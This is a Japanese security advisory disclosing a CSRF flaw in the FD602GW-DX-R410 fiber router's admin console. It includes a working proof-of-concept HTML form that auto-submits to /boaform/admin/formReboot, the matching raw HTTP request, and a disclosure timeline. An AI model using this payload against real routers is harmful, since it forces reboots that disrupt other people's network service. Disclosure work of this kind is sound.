本資料は、FD602GW-DX-R410 ファイバールーターの管理インターフェース（ファームウェア V2.2.14）におけるクロスサイトリクエストフォージェリ（CSRF）脆弱性に関する概念実証（PoC）とセキュリティアドバイザリです。本アドバイザリでは、影響、攻撃経路、および修復の推奨事項について概説します。
FD602GW-DX-R410 ルーターのCSRF脆弱性により、管理者が認証されている場合、リモートの攻撃者は /boaform/admin/formReboot への細工されたPOSTリクエストを介してデバイスを再起動できます。
FD602GW-DX-R410 ファイバールーターのWebベース管理コンソール（ファームウェア V2.2.14）に、クロスサイトリクエストフォージェリ（CSRF）脆弱性が発見されました。/boaform/admin/formReboot エンドポイントは、CSRFトークンやオリジン検証なしで、POSTリクエストによるデバイスの完全再起動を許可します。認証済みの管理者が悪意のあるページを訪問すると、ルーターは同意なしにリモートで再起動される可能性があります。
/boaform/admin/formReboot<html>
<!-- CSRF PoC - generated by Burp Suite Pro -->
<body>
<form action="http://192.168.1.1/boaform/admin/formReboot" method="POST">
<input type="hidden" name="postSecurityFlag" value="+65535" />
<input type="submit" value="Submit" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
POST /boaform/admin/formReboot HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
postSecurityFlag=+65535
HTTP 200 OK; ルーターは即座に再起動します。
| 日付 | 対応内容 |
|---|---|
| 2025年6月 | 脆弱性を発見 |
| 2025年6月 | 責任ある開示を試行（返信なし） |
| 2025年7月 | MITREにCVE IDを申請 |
| 2025年7月 | アドバイザリを作成し公開待ち |
| 2025年9月 | CVE採番、アドバイザリを公開 |
本アドバイザリは、教育およびセキュリティ意識向上を目的として提供されています。著者は、不正使用について一切責任を負いません。すべてのテストは管理された環境で実施されました。